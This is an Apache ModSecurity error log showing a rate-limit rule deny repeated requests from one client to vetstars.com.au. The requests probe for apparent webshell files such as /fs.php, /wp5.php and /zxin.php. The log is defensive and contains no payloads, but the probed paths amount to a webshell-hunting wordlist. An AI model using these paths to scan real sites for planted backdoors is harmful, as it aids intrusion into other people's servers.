[Mon Mar 02 00:12:42.643852 2026] [:error] [pid 38034:tid 38045] [client 4.204.200.32:56976] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaRlegxtfZjwlJok9K856gAAAQc"]
[Mon Mar 02 00:12:44.701535 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:64091] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaRlfPKRPk6YnJBxw_xk1wAAAMU"]
[Mon Mar 02 00:12:48.435259 2026] [:error] [pid 7133:tid 7146] [client 4.204.200.32:29850] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaRlgPCtubh8pR64qB-FcAAAAEs"]
[Mon Mar 02 00:12:49.100927 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:52317] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaRlgZ3RJaXMcw3y9V_w2QAAAAU"]
[Mon Mar 02 00:12:50.294177 2026] [:error] [pid 40750:tid 40764] [client 4.204.200.32:30168] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaRlggfBuk03yQKDyqu6VQAAAcs"]
[Mon Mar 02 00:12:52.983900 2026] [:error] [pid 38241:tid 38250] [client 4.204.200.32:30174] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaRlhPKRPk6YnJBxw_xk5QAAAMY"]
[Mon Mar 02 00:12:53.690179 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:64070] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaRlhfKRPk6YnJBxw_xk6gAAAM4"]
[Mon Mar 02 00:12:56.282574 2026] [:error] [pid 7165:tid 7178] [client 4.204.200.32:64922] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaRliBRjCrA8qWBjgG_iOQAAAks"]
[Mon Mar 02 00:12:57.988670 2026] [:error] [pid 41780:tid 41806] [client 4.204.200.32:64912] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaRlicONkVoocLIqzy07agAAA9c"]
[Mon Mar 02 00:13:01.780688 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:64935] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaRljQfBuk03yQKDyqu6aQAAAdc"]
[Mon Mar 02 00:13:02.567342 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:29849] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaRljvKRPk6YnJBxw_xlBAAAAMw"]
[Mon Mar 02 00:13:04.204212 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:64084] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aaRlkPKRPk6YnJBxw_xlCAAAANc"]
[Mon Mar 02 00:13:05.735153 2026] [:error] [pid 7165:tid 7173] [client 4.204.200.32:64105] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aaRlkRRjCrA8qWBjgG_iYgAAAkY"]
[Mon Mar 02 00:13:07.112506 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:64909] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aaRlk_KRPk6YnJBxw_xlEAAAAME"]
[Mon Mar 02 00:13:08.602282 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:64939] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aaRllPKRPk6YnJBxw_xlGAAAANI"]
[Mon Mar 02 00:13:09.823958 2026] [:error] [pid 41342:tid 41349] [client 4.204.200.32:30170] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eauu.php"] [unique_id "aaRllY4iJ6RAS5CatDlrRQAAAgQ"]
[Mon Mar 02 00:13:11.266993 2026] [:error] [pid 40750:tid 40759] [client 4.204.200.32:30199] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eauu.php"] [unique_id "aaRllwfBuk03yQKDyqu6dwAAAcY"]
[Mon Mar 02 00:13:12.485239 2026] [:error] [pid 7133:tid 7156] [client 4.204.200.32:64901] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eauu.php"] [unique_id "aaRlmPCtubh8pR64qB-FmwAAAFU"]
[Mon Mar 02 00:13:15.088361 2026] [:error] [pid 40750:tid 40771] [client 4.204.200.32:64957] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eauu.php"] [unique_id "aaRlmwfBuk03yQKDyqu6fwAAAdI"]
[Mon Mar 02 00:13:16.729948 2026] [:error] [pid 40750:tid 40759] [client 4.204.200.32:29874] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fasx.php"] [unique_id "aaRlnAfBuk03yQKDyqu6hAAAAcY"]
[Mon Mar 02 00:13:19.666163 2026] [:error] [pid 37032:tid 37058] [client 4.204.200.32:64948] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fasx.php"] [unique_id "aaRln-u0U4o7eSImsVSaFwAAAZg"]
[Mon Mar 02 00:13:20.848928 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:30192] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fasx.php"] [unique_id "aaRloBRjCrA8qWBjgG_iiAAAAkI"]
[Mon Mar 02 00:13:21.531950 2026] [:error] [pid 7165:tid 7189] [client 4.204.200.32:64097] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fasx.php"] [unique_id "aaRloRRjCrA8qWBjgG_ijAAAAlY"]
[Mon Mar 02 00:13:23.398154 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:29864] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "aaRloxRjCrA8qWBjgG_imwAAAkI"]
[Mon Mar 02 00:14:14.216513 2026] [:error] [pid 7133:tid 7135] [client 4.204.200.32:30165] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaRl1vCtubh8pR64qB-GWQAAAEA"]
[Mon Mar 02 00:14:20.900826 2026] [:error] [pid 7165:tid 7171] [client 4.204.200.32:29886] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaRl3BRjCrA8qWBjgG_jkAAAAkQ"]
[Mon Mar 02 00:14:22.611368 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:64093] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaRl3vKRPk6YnJBxw_xmBAAAANM"]
[Mon Mar 02 00:14:27.557002 2026] [:error] [pid 41342:tid 41351] [client 4.204.200.32:30157] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaRl444iJ6RAS5CatDlrUgAAAgY"]
[Mon Mar 02 00:14:29.148485 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:64927] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRl5fKRPk6YnJBxw_xmCwAAAMk"]
[Mon Mar 02 00:14:30.610107 2026] [:error] [pid 33822:tid 33838] [client 4.204.200.32:64076] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRl5m6W3ygu1YVssuZNzwAAAo4"]
[Mon Mar 02 00:14:31.389573 2026] [:error] [pid 33822:tid 33843] [client 4.204.200.32:30172] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRl526W3ygu1YVssuZN1AAAApM"]
[Mon Mar 02 00:14:34.353663 2026] [:error] [pid 44644:tid 44655] [client 4.204.200.32:64916] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRl6p3RJaXMcw3y9V_w8wAAAAg"]
[Mon Mar 02 00:14:36.732399 2026] [:error] [pid 33822:tid 33824] [client 4.204.200.32:30185] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaRl7G6W3ygu1YVssuZN4QAAAoA"]
[Mon Mar 02 00:14:38.252038 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:29882] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaRl7hRjCrA8qWBjgG_j7AAAAkA"]
[Mon Mar 02 00:14:39.700145 2026] [:error] [pid 37032:tid 37037] [client 4.204.200.32:29856] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaRl7-u0U4o7eSImsVSaSAAAAYM"]
[Mon Mar 02 00:14:42.446944 2026] [:error] [pid 38241:tid 38260] [client 4.204.200.32:64938] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaRl8vKRPk6YnJBxw_xmMwAAANA"]
[Mon Mar 02 00:14:46.465221 2026] [:error] [pid 41780:tid 41789] [client 4.204.200.32:30201] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaRl9sONkVoocLIqzy07kgAAA8Y"]
[Mon Mar 02 00:14:47.472405 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:56964] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaRl9_KRPk6YnJBxw_xmSQAAANM"]
[Mon Mar 02 00:14:49.639943 2026] [:error] [pid 41780:tid 41794] [client 4.204.200.32:29863] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaRl-cONkVoocLIqzy07kwAAA8s"]
[Mon Mar 02 00:14:51.893041 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:64936] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaRl-_KRPk6YnJBxw_xmWAAAAM0"]
[Mon Mar 02 00:14:55.338440 2026] [:error] [pid 38241:tid 38261] [client 4.204.200.32:64126] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaRl__KRPk6YnJBxw_xmcwAAANE"]
[Mon Mar 02 00:14:58.770408 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:64092] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaRmAvKRPk6YnJBxw_xmeQAAAMk"]
[Mon Mar 02 00:15:02.350250 2026] [:error] [pid 40750:tid 40764] [client 4.204.200.32:64928] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaRmBgfBuk03yQKDyqu7rwAAAcs"]
[Mon Mar 02 00:15:03.820776 2026] [:error] [pid 7133:tid 7158] [client 4.204.200.32:64088] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaRmB_Ctubh8pR64qB-GqAAAAFc"]
[Mon Mar 02 00:15:04.983888 2026] [:error] [pid 40750:tid 40755] [client 4.204.200.32:56963] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaRmCAfBuk03yQKDyqu7tgAAAcI"]
[Mon Mar 02 00:16:13.238484 2026] [:error] [pid 40750:tid 40759] [client 4.204.200.32:56974] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaRmTQfBuk03yQKDyqu8TAAAAcY"]
[Mon Mar 02 00:16:18.159078 2026] [:error] [pid 44644:tid 44650] [client 4.204.200.32:64931] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaRmUp3RJaXMcw3y9V_xGgAAAAM"]
[Mon Mar 02 00:16:20.113992 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:30040] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaRmVBRjCrA8qWBjgG_ldAAAAkU"]
[Mon Mar 02 00:16:21.152956 2026] [:error] [pid 44644:tid 44663] [client 4.204.200.32:30274] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaRmVZ3RJaXMcw3y9V_xJAAAABA"]
[Mon Mar 02 00:16:22.542599 2026] [:error] [pid 7133:tid 7156] [client 4.204.200.32:30058] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaRmVvCtubh8pR64qB-G-AAAAFU"]
[Mon Mar 02 00:16:23.963426 2026] [:error] [pid 40750:tid 40753] [client 4.204.200.32:30152] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaRmVwfBuk03yQKDyqu8XwAAAcA"]
[Mon Mar 02 00:16:25.554661 2026] [:error] [pid 7165:tid 7190] [client 4.204.200.32:30078] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaRmWRRjCrA8qWBjgG_lhgAAAlc"]
[Mon Mar 02 00:16:26.375063 2026] [:error] [pid 7165:tid 7175] [client 4.204.200.32:52321] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaRmWhRjCrA8qWBjgG_ljQAAAkg"]
[Mon Mar 02 00:16:28.171733 2026] [:error] [pid 7133:tid 7144] [client 4.204.200.32:30317] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaRmXPCtubh8pR64qB-G-wAAAEk"]
[Mon Mar 02 00:16:29.785167 2026] [:error] [pid 37032:tid 37057] [client 4.204.200.32:30062] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaRmXeu0U4o7eSImsVSaegAAAZc"]
[Mon Mar 02 00:16:31.580923 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:64115] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaRmXwfBuk03yQKDyqu8bgAAAdc"]
